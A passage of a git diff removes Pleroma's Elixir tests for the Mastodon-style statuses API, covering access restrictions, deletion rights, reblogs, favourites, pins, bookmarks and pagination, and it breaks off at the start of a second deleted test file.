local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - - assert json_response_and_validate_schema(res_conn, :not_found) == %{ - "error" => "Record not found" - } - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - - assert json_response_and_validate_schema(res_conn, :not_found) == %{ - "error" => "Record not found" - } - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "status with restrict unauthenticated activities for local" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - - assert json_response_and_validate_schema(res_conn, :not_found) == %{ - "error" => "Record not found" - } - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - describe "status with restrict unauthenticated activities for remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - - assert json_response_and_validate_schema(res_conn, :not_found) == %{ - "error" => "Record not found" - } - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - res_conn = get(conn, "/api/v1/statuses/#{local.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - - res_conn = get(conn, "/api/v1/statuses/#{remote.id}") - assert %{"id" => _} = json_response_and_validate_schema(res_conn, 200) - end - end - - test "getting a status that doesn't exist returns 404" do - %{conn: conn} = oauth_access(["read:statuses"]) - activity = insert(:note_activity) - - conn = get(conn, "/api/v1/statuses/#{String.downcase(activity.id)}") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - - test "get a direct status" do - %{user: user, conn: conn} = oauth_access(["read:statuses"]) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{status: "@#{other_user.nickname}", visibility: "direct"}) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/statuses/#{activity.id}") - - [participation] = Participation.for_user(user) - - res = json_response_and_validate_schema(conn, 200) - assert res["pleroma"]["direct_conversation_id"] == participation.id - end - - test "get statuses by IDs" do - %{conn: conn} = oauth_access(["read:statuses"]) - %{id: id1} = insert(:note_activity) - %{id: id2} = insert(:note_activity) - - query_string = "ids[]=#{id1}&ids[]=#{id2}" - conn = get(conn, "/api/v1/statuses/?#{query_string}") - - assert [%{"id" => ^id1}, %{"id" => ^id2}] = - Enum.sort_by(json_response_and_validate_schema(conn, :ok), & &1["id"]) - end - - describe "getting statuses by ids with restricted unauthenticated for local and remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) - - setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - assert json_response_and_validate_schema(res_conn, 200) == [] - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "getting statuses by ids with restricted unauthenticated for local" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :local], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - remote_id = remote.id - assert [%{"id" => ^remote_id}] = json_response_and_validate_schema(res_conn, 200) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "getting statuses by ids with restricted unauthenticated for remote" do - setup do: local_and_remote_activities() - - setup do: clear_config([:restrict_unauthenticated, :activities, :remote], true) - - test "if user is unauthenticated", %{conn: conn, local: local, remote: remote} do - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - local_id = local.id - assert [%{"id" => ^local_id}] = json_response_and_validate_schema(res_conn, 200) - end - - test "if user is authenticated", %{local: local, remote: remote} do - %{conn: conn} = oauth_access(["read"]) - - res_conn = get(conn, "/api/v1/statuses?ids[]=#{local.id}&ids[]=#{remote.id}") - - assert length(json_response_and_validate_schema(res_conn, 200)) == 2 - end - end - - describe "deleting a status" do - test "when you created it" do - %{user: author, conn: conn} = oauth_access(["write:statuses"]) - activity = insert(:note_activity, user: author) - object = Object.normalize(activity) - - content = object.data["content"] - source = object.data["source"] - - result = - conn - |> assign(:user, author) - |> delete("/api/v1/statuses/#{activity.id}") - |> json_response_and_validate_schema(200) - - assert match?(%{"content" => ^content, "text" => ^source}, result) - - refute Activity.get_by_id(activity.id) - end - - test "when it doesn't exist" do - %{user: author, conn: conn} = oauth_access(["write:statuses"]) - activity = insert(:note_activity, user: author) - - conn = - conn - |> assign(:user, author) - |> delete("/api/v1/statuses/#{String.downcase(activity.id)}") - - assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404) - end - - test "when you didn't create it" do - %{conn: conn} = oauth_access(["write:statuses"]) - activity = insert(:note_activity) - - conn = delete(conn, "/api/v1/statuses/#{activity.id}") - - assert %{"error" => "Record not found"} == json_response_and_validate_schema(conn, 404) - - assert Activity.get_by_id(activity.id) == activity - end - - test "when you're an admin or moderator", %{conn: conn} do - activity1 = insert(:note_activity) - activity2 = insert(:note_activity) - admin = insert(:user, is_admin: true) - moderator = insert(:user, is_moderator: true) - - res_conn = - conn - |> assign(:user, admin) - |> assign(:token, insert(:oauth_token, user: admin, scopes: ["write:statuses"])) - |> delete("/api/v1/statuses/#{activity1.id}") - - assert %{} = json_response_and_validate_schema(res_conn, 200) - - res_conn = - conn - |> assign(:user, moderator) - |> assign(:token, insert(:oauth_token, user: moderator, scopes: ["write:statuses"])) - |> delete("/api/v1/statuses/#{activity2.id}") - - assert %{} = json_response_and_validate_schema(res_conn, 200) - - refute Activity.get_by_id(activity1.id) - refute Activity.get_by_id(activity2.id) - end - end - - describe "reblogging" do - setup do: oauth_access(["write:statuses"]) - - test "reblogs and returns the reblogged status", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/reblog") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, - "reblogged" => true - } = json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 404 if the reblogged status doesn't exist", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{String.downcase(activity.id)}/reblog") - - assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn, 404) - end - - test "reblogs privately and returns the reblogged status", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post( - "/api/v1/statuses/#{activity.id}/reblog", - %{"visibility" => "private"} - ) - - assert %{ - "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}, - "reblogged" => true, - "visibility" => "private" - } = json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "reblogged status for another user" do - activity = insert(:note_activity) - user1 = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - {:ok, _} = CommonAPI.favorite(user2, activity.id) - {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id) - {:ok, reblog_activity1} = CommonAPI.repeat(activity.id, user1) - {:ok, _} = CommonAPI.repeat(activity.id, user2) - - conn_res = - build_conn() - |> assign(:user, user3) - |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"])) - |> get("/api/v1/statuses/#{reblog_activity1.id}") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, - "reblogged" => false, - "favourited" => false, - "bookmarked" => false - } = json_response_and_validate_schema(conn_res, 200) - - conn_res = - build_conn() - |> assign(:user, user2) - |> assign(:token, insert(:oauth_token, user: user2, scopes: ["read:statuses"])) - |> get("/api/v1/statuses/#{reblog_activity1.id}") - - assert %{ - "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2}, - "reblogged" => true, - "favourited" => true, - "bookmarked" => true - } = json_response_and_validate_schema(conn_res, 200) - - assert to_string(activity.id) == id - end - end - - describe "unreblogging" do - setup do: oauth_access(["write:statuses"]) - - test "unreblogs and returns the unreblogged status", %{user: user, conn: conn} do - activity = insert(:note_activity) - - {:ok, _} = CommonAPI.repeat(activity.id, user) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/unreblog") - - assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = - json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 404 error when activity does not exist", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/foo/unreblog") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - end - - describe "favoriting" do - setup do: oauth_access(["write:favourites"]) - - test "favs a status and returns it", %{conn: conn} do - activity = insert(:note_activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/favourite") - - assert %{"id" => id, "favourites_count" => 1, "favourited" => true} = - json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "favoriting twice will just return 200", %{conn: conn} do - activity = insert(:note_activity) - - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/favourite") - - assert conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/favourite") - |> json_response_and_validate_schema(200) - end - - test "returns 404 error for a wrong id", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/1/favourite") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - end - - describe "unfavoriting" do - setup do: oauth_access(["write:favourites"]) - - test "unfavorites a status and returns it", %{user: user, conn: conn} do - activity = insert(:note_activity) - - {:ok, _} = CommonAPI.favorite(user, activity.id) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/unfavourite") - - assert %{"id" => id, "favourites_count" => 0, "favourited" => false} = - json_response_and_validate_schema(conn, 200) - - assert to_string(activity.id) == id - end - - test "returns 404 error for a wrong id", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/1/unfavourite") - - assert json_response_and_validate_schema(conn, 404) == %{"error" => "Record not found"} - end - end - - describe "pinned statuses" do - setup do: oauth_access(["write:accounts"]) - - setup %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) - - %{activity: activity} - end - - setup do: clear_config([:instance, :max_pinned_statuses], 1) - - test "pin status", %{conn: conn, user: user, activity: activity} do - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "pinned" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/pin") - |> json_response_and_validate_schema(200) - - assert [%{"id" => ^id_str, "pinned" => true}] = - conn - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response_and_validate_schema(200) - end - - test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do - {:ok, dm} = CommonAPI.post(user, %{status: "test", visibility: "direct"}) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{dm.id}/pin") - - assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not pin"} - end - - test "unpin status", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.pin(activity.id, user) - user = refresh_record(user) - - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "pinned" => false} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/unpin") - |> json_response_and_validate_schema(200) - - assert [] = - conn - |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true") - |> json_response_and_validate_schema(200) - end - - test "/unpin: returns 400 error when activity is not exist", %{conn: conn} do - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/1/unpin") - - assert json_response_and_validate_schema(conn, 400) == %{"error" => "Could not unpin"} - end - - test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do - {:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"}) - - id_str_one = to_string(activity_one.id) - - assert %{"id" => ^id_str_one, "pinned" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{id_str_one}/pin") - |> json_response_and_validate_schema(200) - - user = refresh_record(user) - - assert %{"error" => "You have already pinned the maximum number of statuses"} = - conn - |> assign(:user, user) - |> post("/api/v1/statuses/#{activity_two.id}/pin") - |> json_response_and_validate_schema(400) - end - - test "on pin removes deletion job, on unpin reschedule deletion" do - %{conn: conn} = oauth_access(["write:accounts", "write:statuses"]) - expires_in = 2 * 60 * 60 - - expires_at = DateTime.add(DateTime.utc_now(), expires_in) - - assert %{"id" => id} = - conn - |> put_req_header("content-type", "application/json") - |> post("api/v1/statuses", %{ - "status" => "oolong", - "expires_in" => expires_in - }) - |> json_response_and_validate_schema(200) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: id}, - scheduled_at: expires_at - ) - - assert %{"id" => ^id, "pinned" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{id}/pin") - |> json_response_and_validate_schema(200) - - refute_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: id}, - scheduled_at: expires_at - ) - - assert %{"id" => ^id, "pinned" => false} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{id}/unpin") - |> json_response_and_validate_schema(200) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: id}, - scheduled_at: expires_at - ) - end - end - - describe "cards" do - setup do - Config.put([:rich_media, :enabled], true) - - oauth_access(["read:statuses"]) - end - - test "returns rich-media card", %{conn: conn, user: user} do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - - {:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp"}) - - card_data = %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "provider_name" => "example.com", - "provider_url" => "https://example.com", - "title" => "The Rock", - "type" => "link", - "url" => "https://example.com/ogp", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.", - "pleroma" => %{ - "opengraph" => %{ - "image" => "http://ia.media-imdb.com/images/rock.jpg", - "title" => "The Rock", - "type" => "video.movie", - "url" => "https://example.com/ogp", - "description" => - "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer." - } - } - } - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response_and_validate_schema(200) - - assert response == card_data - - # works with private posts - {:ok, activity} = - CommonAPI.post(user, %{status: "https://example.com/ogp", visibility: "direct"}) - - response_two = - conn - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response_and_validate_schema(200) - - assert response_two == card_data - end - - test "replaces missing description with an empty string", %{conn: conn, user: user} do - Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - - {:ok, activity} = CommonAPI.post(user, %{status: "https://example.com/ogp-missing-data"}) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/card") - |> json_response_and_validate_schema(:ok) - - assert response == %{ - "type" => "link", - "title" => "Pleroma", - "description" => "", - "image" => nil, - "provider_name" => "example.com", - "provider_url" => "https://example.com", - "url" => "https://example.com/ogp-missing-data", - "pleroma" => %{ - "opengraph" => %{ - "title" => "Pleroma", - "type" => "website", - "url" => "https://example.com/ogp-missing-data" - } - } - } - end - end - - test "bookmarks" do - bookmarks_uri = "/api/v1/bookmarks" - - %{conn: conn} = oauth_access(["write:bookmarks", "read:bookmarks"]) - author = insert(:user) - - {:ok, activity1} = CommonAPI.post(author, %{status: "heweoo?"}) - {:ok, activity2} = CommonAPI.post(author, %{status: "heweoo!"}) - - response1 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity1.id}/bookmark") - - assert json_response_and_validate_schema(response1, 200)["bookmarked"] == true - - response2 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity2.id}/bookmark") - - assert json_response_and_validate_schema(response2, 200)["bookmarked"] == true - - bookmarks = get(conn, bookmarks_uri) - - assert [ - json_response_and_validate_schema(response2, 200), - json_response_and_validate_schema(response1, 200) - ] == - json_response_and_validate_schema(bookmarks, 200) - - response1 = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity1.id}/unbookmark") - - assert json_response_and_validate_schema(response1, 200)["bookmarked"] == false - - bookmarks = get(conn, bookmarks_uri) - - assert [json_response_and_validate_schema(response2, 200)] == - json_response_and_validate_schema(bookmarks, 200) - end - - describe "conversation muting" do - setup do: oauth_access(["write:mutes"]) - - setup do - post_user = insert(:user) - {:ok, activity} = CommonAPI.post(post_user, %{status: "HIE"}) - %{activity: activity} - end - - test "mute conversation", %{conn: conn, activity: activity} do - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "muted" => true} = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/mute") - |> json_response_and_validate_schema(200) - end - - test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.add_mute(user, activity) - - conn = - conn - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/mute") - - assert json_response_and_validate_schema(conn, 400) == %{ - "error" => "conversation is already muted" - } - end - - test "unmute conversation", %{conn: conn, user: user, activity: activity} do - {:ok, _} = CommonAPI.add_mute(user, activity) - - id_str = to_string(activity.id) - - assert %{"id" => ^id_str, "muted" => false} = - conn - # |> assign(:user, user) - |> post("/api/v1/statuses/#{activity.id}/unmute") - |> json_response_and_validate_schema(200) - end - end - - test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do - user1 = insert(:user) - user2 = insert(:user) - user3 = insert(:user) - - {:ok, replied_to} = CommonAPI.post(user1, %{status: "cofe"}) - - # Reply to status from another user - conn1 = - conn - |> assign(:user, user2) - |> assign(:token, insert(:oauth_token, user: user2, scopes: ["write:statuses"])) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id}) - - assert %{"content" => "xD", "id" => id} = json_response_and_validate_schema(conn1, 200) - - activity = Activity.get_by_id_with_object(id) - - assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"] - assert Activity.get_in_reply_to_activity(activity).id == replied_to.id - - # Reblog from the third user - conn2 = - conn - |> assign(:user, user3) - |> assign(:token, insert(:oauth_token, user: user3, scopes: ["write:statuses"])) - |> put_req_header("content-type", "application/json") - |> post("/api/v1/statuses/#{activity.id}/reblog") - - assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} = - json_response_and_validate_schema(conn2, 200) - - assert to_string(activity.id) == id - - # Getting third user status - conn3 = - conn - |> assign(:user, user3) - |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"])) - |> get("api/v1/timelines/home") - - [reblogged_activity] = json_response(conn3, 200) - - assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id - - replied_to_user = User.get_by_ap_id(replied_to.data["actor"]) - assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id - end - - describe "GET /api/v1/statuses/:id/favourited_by" do - setup do: oauth_access(["read:accounts"]) - - setup %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - - %{activity: activity} - end - - test "returns users who have favorited the status", %{conn: conn, activity: activity} do - other_user = insert(:user) - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - [%{"id" => id}] = response - - assert id == other_user.id - end - - test "returns empty array when status has not been favorited yet", %{ - conn: conn, - activity: activity - } do - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not return users who have favorited the status but are blocked", %{ - conn: %{assigns: %{user: user}} = conn, - activity: activity - } do - other_user = insert(:user) - {:ok, _user_relationship} = User.block(user, other_user) - - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not fail on an unauthenticated request", %{activity: activity} do - other_user = insert(:user) - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - response = - build_conn() - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - [%{"id" => id}] = response - assert id == other_user.id - end - - test "requires authentication for private posts", %{user: user} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "@#{other_user.nickname} wanna get some #cofe together?", - visibility: "direct" - }) - - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - favourited_by_url = "/api/v1/statuses/#{activity.id}/favourited_by" - - build_conn() - |> get(favourited_by_url) - |> json_response_and_validate_schema(404) - - conn = - build_conn() - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) - - conn - |> assign(:token, nil) - |> get(favourited_by_url) - |> json_response_and_validate_schema(404) - - response = - conn - |> get(favourited_by_url) - |> json_response_and_validate_schema(200) - - [%{"id" => id}] = response - assert id == other_user.id - end - - test "returns empty array when :show_reactions is disabled", %{conn: conn, activity: activity} do - clear_config([:instance, :show_reactions], false) - - other_user = insert(:user) - {:ok, _} = CommonAPI.favorite(other_user, activity.id) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/favourited_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - end - - describe "GET /api/v1/statuses/:id/reblogged_by" do - setup do: oauth_access(["read:accounts"]) - - setup %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "test"}) - - %{activity: activity} - end - - test "returns users who have reblogged the status", %{conn: conn, activity: activity} do - other_user = insert(:user) - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - [%{"id" => id}] = response - - assert id == other_user.id - end - - test "returns empty array when status has not been reblogged yet", %{ - conn: conn, - activity: activity - } do - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not return users who have reblogged the status but are blocked", %{ - conn: %{assigns: %{user: user}} = conn, - activity: activity - } do - other_user = insert(:user) - {:ok, _user_relationship} = User.block(user, other_user) - - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not return users who have reblogged the status privately", %{ - conn: conn - } do - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "my secret post"}) - - {:ok, _} = CommonAPI.repeat(activity.id, other_user, %{visibility: "private"}) - - response = - conn - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - assert Enum.empty?(response) - end - - test "does not fail on an unauthenticated request", %{activity: activity} do - other_user = insert(:user) - {:ok, _} = CommonAPI.repeat(activity.id, other_user) - - response = - build_conn() - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(:ok) - - [%{"id" => id}] = response - assert id == other_user.id - end - - test "requires authentication for private posts", %{user: user} do - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "@#{other_user.nickname} wanna get some #cofe together?", - visibility: "direct" - }) - - build_conn() - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(404) - - response = - build_conn() - |> assign(:user, other_user) - |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"])) - |> get("/api/v1/statuses/#{activity.id}/reblogged_by") - |> json_response_and_validate_schema(200) - - assert [] == response - end - end - - test "context" do - user = insert(:user) - - {:ok, %{id: id1}} = CommonAPI.post(user, %{status: "1"}) - {:ok, %{id: id2}} = CommonAPI.post(user, %{status: "2", in_reply_to_status_id: id1}) - {:ok, %{id: id3}} = CommonAPI.post(user, %{status: "3", in_reply_to_status_id: id2}) - {:ok, %{id: id4}} = CommonAPI.post(user, %{status: "4", in_reply_to_status_id: id3}) - {:ok, %{id: id5}} = CommonAPI.post(user, %{status: "5", in_reply_to_status_id: id4}) - - response = - build_conn() - |> get("/api/v1/statuses/#{id3}/context") - |> json_response_and_validate_schema(:ok) - - assert %{ - "ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}], - "descendants" => [%{"id" => ^id4}, %{"id" => ^id5}] - } = response - end - - test "favorites paginate correctly" do - %{user: user, conn: conn} = oauth_access(["read:favourites"]) - other_user = insert(:user) - {:ok, first_post} = CommonAPI.post(other_user, %{status: "bla"}) - {:ok, second_post} = CommonAPI.post(other_user, %{status: "bla"}) - {:ok, third_post} = CommonAPI.post(other_user, %{status: "bla"}) - - {:ok, _first_favorite} = CommonAPI.favorite(user, third_post.id) - {:ok, _second_favorite} = CommonAPI.favorite(user, first_post.id) - {:ok, third_favorite} = CommonAPI.favorite(user, second_post.id) - - result = - conn - |> get("/api/v1/favourites?limit=1") - - assert [%{"id" => post_id}] = json_response_and_validate_schema(result, 200) - assert post_id == second_post.id - - # Using the header for pagination works correctly - [next, _] = get_resp_header(result, "link") |> hd() |> String.split(", ") - [_, max_id] = Regex.run(~r/max_id=([^&]+)/, next) - - assert max_id == third_favorite.id - - result = - conn - |> get("/api/v1/favourites?max_id=#{max_id}") - - assert [%{"id" => first_post_id}, %{"id" => third_post_id}] = - json_response_and_validate_schema(result, 200) - - assert first_post_id == first_post.id - assert third_post_id == third_post.id - end - - test "returns the favorites of a user" do - %{user: user, conn: conn} = oauth_access(["read:favourites"]) - other_user = insert(:user) - - {:ok, _} = CommonAPI.post(other_user, %{status: "bla"}) - {:ok, activity} = CommonAPI.post(other_user, %{status: "trees are happy"}) - - {:ok, last_like} = CommonAPI.favorite(user, activity.id) - - first_conn = get(conn, "/api/v1/favourites") - - assert [status] = json_response_and_validate_schema(first_conn, 200) - assert status["id"] == to_string(activity.id) - - assert [{"link", _link_header}] = - Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end) - - # Honours query params - {:ok, second_activity} = - CommonAPI.post(other_user, %{ - status: "Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful." - }) - - {:ok, _} = CommonAPI.favorite(user, second_activity.id) - - second_conn = get(conn, "/api/v1/favourites?since_id=#{last_like.id}") - - assert [second_status] = json_response_and_validate_schema(second_conn, 200) - assert second_status["id"] == to_string(second_activity.id) - - third_conn = get(conn, "/api/v1/favourites?limit=0") - - assert [] = json_response_and_validate_schema(third_conn, 200) - end - - test "expires_at is nil for another user" do - %{conn: conn, user: user} = oauth_access(["read:statuses"]) - expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", expires_in: 1_000_000}) - - assert %{"pleroma" => %{"expires_at" => a_expires_at}} = - conn - |> get("/api/v1/statuses/#{activity.id}") - |> json_response_and_validate_schema(:ok) - - {:ok, a_expires_at, 0} = DateTime.from_iso8601(a_expires_at) - assert DateTime.diff(expires_at, a_expires_at) == 0 - - %{conn: conn} = oauth_access(["read:statuses"]) - - assert %{"pleroma" => %{"expires_at" => nil}} = - conn - |> get("/api/v1/statuses/#{activity.id}") - |> json_response_and_validate_schema(:ok) - end -end diff --git a/test/web/mastodon_api/controllers/subscription_controller_test.exs b/test/web/mastodon_api/controllers/subscription_controller_test.exs deleted file mode 100644 index d36bb1ae8..000000000 --- a/test/web/mastodon_api/controllers/subscription_controller_test.exs +++ /dev/null @@ -1,199 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.SubscriptionControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias 